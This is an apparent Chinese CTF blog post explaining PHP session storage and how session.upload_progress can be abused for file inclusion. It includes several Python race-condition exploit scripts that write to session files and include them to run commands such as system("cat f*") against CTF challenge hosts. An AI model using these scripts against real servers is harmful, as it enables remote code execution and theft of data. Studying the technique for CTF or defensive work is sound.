您当前的位置: 首页 >  php

Z3eyOnd

暂无认证

  • 3浏览

    0关注

    117博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

php-session文件包含和反序列化(对session.upload_progress的利用)

Z3eyOnd 发布时间:2022-02-11 21:27:25 ,浏览量:3

文章目录
      • 前言
      • session的简介
      • PHP中session的存储方式
      • php.ini中的一些配置
      • php中的session.upload_progress
      • 文件包含
      • 反序列化
        • $_SESSION变量直接可控
        • $_SESSION变量不可控
      • 参考链接

前言

本文是利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含和反序列化的总结。

也就是关于php-session的文件包含和反序列化

session的简介

session被称为“会话控制”,Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。Session 对象最常见的一个用法就是存储用户的首选项。例如,如果用户指明不喜欢查看图形,就可以将该信息存储在 Session 对象中.

当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的

session和cookie的联系:

cookie中的PHPSESSID将作为服务器session的文件名sess__xxx,浏览器直接根据这个去服务器中找对应的sessid

PHP中session的存储方式

直接放y4爷写的总结吧

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。

php_serialize经过serialize()函数序列化数组php键名+竖线+经过serialize()函数处理的值php_binary键名的长度对应的ascii字符+键名+serialize()函数序列化的值 php.ini中的一些配置

session.save_path="" --设置session的存储路径 session.save_handler=""–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动 session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php

php中的session.upload_progress

版本:php5.4以上

在php.ini有以下几个默认选项

1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"

其中
enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;

name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;

prefix+name将表示为session中的键名

session文件包含和反序列化就是利用session.upload_progress,可以将上传的文件信息保存在session中.

文件包含

一般默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,我们需要进行条件竞争.如果为off,就不需要利用条件竞争.

脚本:

文件上传

import requests
import threading

session = requests.session()
sess = 'zzy' #上传文件的PHPSESSION的ID
url1 = "http://74a4727a-4f34-4d21-bd52-95c73db10eed.challenge.ctf.show:8080/"
url2 = "http://74a4727a-4f34-4d21-bd52-95c73db10eed.challenge.ctf.show:8080/upload/"
data1 = {
    'PHP_SESSION_UPLOAD_PROGRESS': ''# 传入的恶意代码
}
file = {
    'file': 'zzy'
}
cookies = {
    'PHPSESSID': sess
}


def write():
    while True:
        r = session.post(url1, data=data1, files=file, cookies=cookies)


def read():
    while True:
        r = session.get(url2)
        if 'flag' in r.text:
            print(r.text)


threads = [threading.Thread(target=write),
           threading.Thread(target=read)]
for t in threads:
    t.start()

文件包含

import requests
import threading
import sys

session = requests.session()
sess = 'zzy'
url1 = "http://0bd266c6-b013-4a9a-97b5-2a644856a1e5.challenge.ctf.show:8080/"
url2 = 'http://0bd266c6-b013-4a9a-97b5-2a644856a1e5.challenge.ctf.show:8080/?file=/tmp/sess_' + sess

# file后为phpsession的路径
data1 = {
    'PHP_SESSION_UPLOAD_PROGRESS': ''
}
data2 = {
    '1': 'system("cat f*");'
}
file = {
    'file': 'abc'
}
cookies = {
    'PHPSESSID': sess
}


def write():
    while True:
        r = session.post(url1, data=data1, files=file, cookies=cookies)


def read():
    while True:
        r = session.post(url2, data=data2)
        if 'ctfshow{' in r.text:
            print(r.text)


threads = [threading.Thread(target=write),
           threading.Thread(target=read)]
for t in threads:
    t.start()

上面两个脚本的区别

文件上传,用url1的内容,post向phpsession中爆flag,然后通过访问url2,可以触发upload下的index.php,然后到.user.ini,再到png中去include PHPSESSION的内容,执行命令。如果是传入小马,url2需要post内容,执行命令

文件包含:url1的内容,来向phpsession中写入小马,然后,通过url2的file的参数去包含phpsession的路径,加上url2的post来执行命令,从而得到flag。

关于文件包含还有个脚本

import io
import requests
import threading
url = 'http://challenge-cfd946d2e06b103c.sandbox.ctfhub.com:10800'

def write(session):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': 'dotasts'
    }
    while True:
        f = io.BytesIO(b'a' * 1024 * 10)
        response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
    while True:
        response = session.get(url+'?file=/tmp/sess_flag')
        if 'dotasts' in response.text:
            print(response.text)
            break
        else:
            print('retry')

if __name__ == '__main__':
    session = requests.session()
    write = threading.Thread(target=write, args=(session,))
    write.daemon = True
    write.start()
    read(session)

例子有CTF-第五空间

ctfshow有个题也可以这么做

            
关注
打赏
1651657201
查看更多评论
0.0386s